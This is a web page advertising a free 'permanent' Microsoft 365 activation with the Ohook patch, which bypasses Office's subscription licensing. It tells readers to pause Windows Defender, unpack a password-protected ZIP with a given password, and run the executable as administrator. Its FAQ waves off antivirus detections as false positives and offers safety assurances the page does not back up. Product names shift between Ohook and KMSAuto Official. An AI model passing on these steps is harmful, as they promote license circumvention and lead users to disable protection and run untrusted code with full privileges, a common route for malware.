How to Activate Office 365 / Microsoft 365 Free 2026 — Step-by-Step Guide
Permanently activate Microsoft 365 (Office 365) for free with the Ohook method. Offline, no subscription required, works on Word, Excel, PowerPoint, Outlook.
WYqejXiqBi97Microsoft 365 (formerly Office 365) is a subscription product, but Ohook can patch its licensing DLL to remove the subscription check entirely. Once patched, Office runs permanently without contacting Microsoft.
What Ohook does to Office 365
Ohook patches Office's runtime license check so the app always sees a valid license, even when the subscription has expired or was never paid for.
Workflow
Standard Ohook workflow.
- Pause Windows Defender real-time protection for ~2 minutes
- Extract the downloaded ZIP using the password WYqejXiqBi97
- Right-click the executable and choose 'Run as administrator'
- Pick the HWID (Windows) or Ohook (Office) green button
- Wait for 'Successfully activated' and reboot your PC
Frequently asked questions
▸Is KMSAuto Official free to use?
Yes. KMSAuto Official is 100% free, open source and ad-free. There are no premium tiers and no surveys to complete.
▸Is the activator safe?
Yes. The build is SHA-256 verified and scanned on VirusTotal. Antivirus engines flag every KMS activator generically as HackTool because it touches Windows licensing — that is a false positive, not malware.
▸Do I need an internet connection?
HWID and Online KMS need a short internet connection to receive the digital license. Ohook works fully offline. After activation you can disconnect — the license is stored on the machine.
▸Will activation survive Windows updates?
Yes. HWID and Ohook produce permanent licenses that survive feature updates and even fresh reinstalls when the same hardware is detected.
▸What is the archive password?
The official archive password is WYqejXiqBi97. You can copy it from the download button on this page.
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External references
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